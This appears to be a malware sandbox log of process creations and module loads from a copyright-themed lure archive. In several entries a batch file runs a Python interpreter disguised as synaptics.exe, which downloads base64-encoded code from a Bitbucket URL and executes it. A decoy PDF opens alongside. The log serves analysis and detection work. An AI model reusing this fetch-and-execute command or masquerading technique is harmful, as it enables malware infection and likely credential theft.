Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe "C:\Users\Public\QExvbmVOb25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1684,i,14855367943723757865,2804243206049956149,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Windows Security.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\dkib1bpc.ejc" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Windows Security.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: 7z.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certcli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptui.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certca.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: python310.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: vcruntime140.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: version.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: python3.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: msasn1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: dnsapi.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: rasadhlp.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: sqlite3.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: libffi-7.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: pywintypes310.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: ncrypt.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: ntasn1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: dpapi.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: ninput.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: actxprxy.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: ninput.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: actxprxy.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\explorer.exe	Section loaded: edputil.dll
Source: C:\Windows\explorer.exe	Section loaded: smartscreenps.dll
Source: C:\Windows\explorer.exe	Section loaded: policymanager.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\explorer.exe	Section loaded: wintypes.dll
Source: C:\Windows\explorer.exe	Section loaded: appresolver.dll
Source: C:\Windows\explorer.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: sppc.dll
Source: C:\Windows\explorer.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\explorer.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\explorer.exe	Section loaded: pcacli.dll
Source: C:\Windows\explorer.exe	Section loaded: mpr.dll
Source: C:\Windows\explorer.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: python310.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: vcruntime140.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: version.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: python3.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: msasn1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: dnsapi.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: rasadhlp.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: sqlite3.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: libffi-7.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: pywintypes310.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: ncrypt.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: ntasn1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: dpapi.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: ninput.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: actxprxy.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: ninput.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: actxprxy.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\explorer.exe	Section loaded: edputil.dll
Source: C:\Windows\explorer.exe	Section loaded: smartscreenps.dll
Source: C:\Windows\explorer.exe	Section loaded: policymanager.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\explorer.exe	Section loaded: wintypes.dll
Source: C:\Windows\explorer.exe	Section loaded: appresolver.dll
Source: C:\Windows\explorer.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: sppc.dll
Source: C:\Windows\explorer.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\explorer.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\explorer.exe	Section loaded: pcacli.dll
Source: C:\Windows\explorer.exe	Section loaded: mpr.dll
Source: C:\Windows\explorer.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: 7z.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: python310.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: vcruntime140.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: version.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: vcruntime140.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: python3.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: msasn1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: dnsapi.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: rasadhlp.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: sqlite3.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: libffi-7.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: pywintypes310.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: ncrypt.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: ntasn1.dll
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: dpapi.dll
